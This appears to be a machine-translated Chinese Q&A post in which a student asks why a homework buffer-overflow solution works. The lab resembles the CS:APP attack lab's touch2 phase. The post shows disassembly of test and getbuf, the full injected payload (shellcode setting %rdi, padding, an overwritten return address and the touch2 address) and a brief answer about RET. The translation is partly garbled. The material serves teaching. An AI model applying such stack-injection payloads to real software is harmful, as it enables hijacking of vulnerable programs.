这是我已经有答案的家庭作业,但不明白为什么它实际上有效?
我需要做的是获取一个函数来执行touch2()
的代码而不是返回父函数test()
。另外,我必须让它看起来像touch2()
,好像我已经将我的cookie-id作为其参数。
touch2()
1.void touch2(unsigned val){
2. if (val==cookie){
3. //code that says I passed
4. }
4. else {
5. //I failed
6. }
test
0000000000401999 <test>:
401999: 48 83 ec 08 sub $0x8,%rsp
40199d: b8 00 00 00 00 mov $0x0,%eax
4019a2: e8 31 fe ff ff callq 4017d8 <getbuf>
4019a7: 89 c2 mov %eax,%edx
4019a9: be a8 31 40 00 mov $0x4031a8,%esi
4019ae: bf 01 00 00 00 mov $0x1,%edi
4019b3: b8 00 00 00 00 mov $0x0,%eax
4019b8: e8 63 f4 ff ff callq 400e20 <__printf_chk@plt>
4019bd: 48 83 c4 08 add $0x8,%rsp
4019c1: c3 retq
反汇编getbuf
:
00000000004017d8 <getbuf>:
4017d8: 48 83 ec 38 sub $0x38,%rsp
4017dc: 48 89 e7 mov %rsp,%rdi
4017df: e8 7e 02 00 00 callq 401a62 <Gets>
4017e4: b8 01 00 00 00 mov $0x1,%eax
4017e9: 48 83 c4 38 add $0x38,%rsp
4017ed: c3 retq
我的解决方案:
48 c7 c7 f0 f7 dd 2c c3 /* assembly language inst. to set my rdi register and then return */
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 /* padding to get to 56 bytes */
d8 20 68 55 00 00 00 00 /* address for %rsp at 'Gets' --> this holds the input when you type in a string */
1a 18 40 00 00 00 00 00 /* address for touch2 */
我理解在解决方案中需要填充,但仍然有以下问题:
如果我更改说明以将%rdi
设置为除第一行以外的任何位置,为什么我的解决方案不起作用?
如果touch2()
的{{1}}位置保留return
的地址,getbuf
如何被调用?
我使用gdb获取Gets
的地址:
Gets
答案 0 :(得分:0)
RET
(c3
)结尾。这将从堆栈中获取下一个地址并转到那里。由于您已将touch2
的地址存储在堆栈中,因此它将会存在。